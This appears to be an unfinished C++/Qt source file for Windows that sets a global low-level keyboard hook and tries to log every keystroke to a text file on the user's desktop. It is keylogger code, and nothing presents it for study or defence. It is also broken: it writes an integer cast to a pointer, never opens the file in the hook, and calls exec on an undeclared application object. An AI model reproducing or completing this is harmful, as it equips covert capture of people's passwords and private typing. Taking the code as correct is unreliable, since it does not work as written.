#include <QCoreApplication>
#include <QDebug>
#include <QTime>
#include <QChar>
#include <iostream>
#include <QFile>
#include <QString>
#include <Windows.h>
#pragma comment(lib,"user32.lib")
HHOOK hHook = NULL;
using namespace std;
QByteArray contenido
="Estoy escribiendo a un archivo";
QFile ap
("C:/Users/moh/Desktop/documento.txt");
void UpdateKeyState(BYTE *keystate, int keycode)
{
keystate[keycode] = GetKeyState(keycode);
}
LRESULT CALLBACK MyLowLevelKeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
QFile ap
("C:/Users/moh/Desktop/documento.txt");
//WPARAM is WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN or WM_SYSKEYUP
//LPARAM is the key information
// if( wParam == WM_KEYDOWN )
//qDebug() << "Key Pressed!";
//Get the key information
KBDLLHOOKSTRUCT cKey = *((KBDLLHOOKSTRUCT*)lParam);
wchar_t buffer[5];
//get the keyboard state
BYTE keyboard_state[256];
GetKeyboardState(keyboard_state);
UpdateKeyState(keyboard_state, VK_SHIFT);
UpdateKeyState(keyboard_state, VK_CAPITAL);
UpdateKeyState(keyboard_state, VK_CONTROL);
UpdateKeyState(keyboard_state, VK_MENU);
//Get Keyboard Layout
HKL keyboard_layout = GetKeyboardLayout(0);
//Get the name
char lpszName[0x100] = {0};
DWORD dwMsg = 1;
dwMsg += cKey.scanCode << 16;
dwMsg += cKey.flags << 24;
int i = GetKeyNameText(dwMsg, (LPTSTR)lpszName,255);
//try to convert the key info
int result = ToUnicodeEx(cKey.vkCode, cKey.scanCode, keyboard_state, buffer,4,0, keyboard_layout);
buffer[4] = L'\0';
//qDebug() << "key:" << cKey.vkCode << " " << QString::fromUtf16((ushort*)buffer) << " " << QString::fromUtf16((ushort*)lpszName);
// Print the output
int cod = cKey.vkCode;
if( wParam == WM_KEYDOWN ){
//qDebug() << "key:" << cKey.vkCode << " " << QString::fromUtf16((ushort*)buffer) << " " << QString::fromUtf16((ushort*)lpszName);
ap.write((const char*)result);
ap.close();
}
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
int main(int argc, char *argv[])
{
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelKeyBoardProc, NULL,0);
if(hHook == NULL){
qDebug() << "error";
}
/*
if(!ap.exists()){
qDebug() << "El archivo seleccionado no existe";
return 1;
}
ap.open(QIODevice::WriteOnly | QIODevice::Text);
if (!ap.isOpen()){
qDebug() << "El archivo no se ha podido abrir";
return 2;
}
//contenido = ap.readAll();
ap.write(contenido);
ap.flush();
ap.close();
*/
return a.exec();
}